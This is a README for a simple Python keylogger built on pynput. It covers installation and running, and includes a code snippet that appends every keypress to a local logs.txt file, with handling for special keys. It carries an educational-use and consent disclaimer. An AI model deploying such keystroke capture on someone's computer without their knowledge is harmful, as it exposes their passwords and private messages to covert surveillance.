Keylogger with Pynput

This project implements a simple keylogger using Python and the pynput library. The keylogger listens for keypress events and logs them to a file (logs.txt). Special keys like Space, Enter, and Backspace are handled appropriately, and their behavior is reflected in the log.

Features

• Logs all keypresses including letters, numbers, and symbols.
• Handles special keys:
  • Space: Logged as a space character (' ').
  • Enter: Logged as a new line ('\n').
  • Backspace: Removes the last character from the log.
• Supports other keys like Shift and Ctrl without logging them.

Requirements

To run this project, you need the following dependencies:

• Python 3.x
• pynput library

You can install the required library using pip:

pip install pynput

How to Use

1. Clone the Repository:

   git clone https://github.com/your-username/keylogger-pynput.git
   cd keylogger-pynput

2. Run the Keylogger:

   After cloning the repository, you can run the keylogger with:

   python keylogger.py

3. Logging Keystrokes:

   The keylogger will create or append keystrokes to a file named logs.txt in the same directory. Special keys like Space, Enter, and Backspace are processed and handled correctly:

   • Space → Logged as a space ( ).
   • Enter → Logged as a newline.
   • Backspace → Removes the last character from the log file.

4. Stopping the Keylogger:

   You can stop the keylogger by pressing Ctrl + C in the terminal where it is running.

Code Explanation

The main functionality uses Python's pynput library to listen for key presses.

Key Components:

• writetofile(key): This function processes each keypress. It handles special keys such as Space, Enter, and Backspace appropriately. For regular characters, it appends them directly to the logs.txt file.
• Listener: The listener captures all keyboard events and calls the writetofile function on each keypress.

Handling Special Keys:

• Space: Replaces 'Key.space' with a space character.
• Enter: Replaces 'Key.enter' with a newline character.
• Backspace: Reads the logs.txt file, removes the last character, and writes the updated content back to the file.

Example Code Snippet:

def writetofile(key):
    keydata = str(key)
    keydata = keydata.replace("'", "")

    # Handle specific key replacements
    if keydata == 'Key.space':
        keydata = ' '
    elif keydata == 'Key.enter':
        keydata = '\n'
    elif keydata == 'Key.backspace':
        with open("logs.txt", 'r') as f:
            content = f.read()
        content = content[:-1] if content else content
        with open("logs.txt", 'w') as f:
            f.write(content)
        return

    with open("logs.txt", 'a') as f:
        f.write(keydata)

Important Notes

• This project is intended for educational purposes only. Make sure to obtain permission before using this keylogger on any computer or network.
• Misuse of keylogging software can lead to legal consequences. Ensure that you comply with all relevant laws in your jurisdiction.

Contributions

Contributions are welcome! If you find any bugs or have suggestions for improvements, feel free to submit a pull request or create an issue.

License

This project is licensed under the MIT License - see the LICENSE file for details.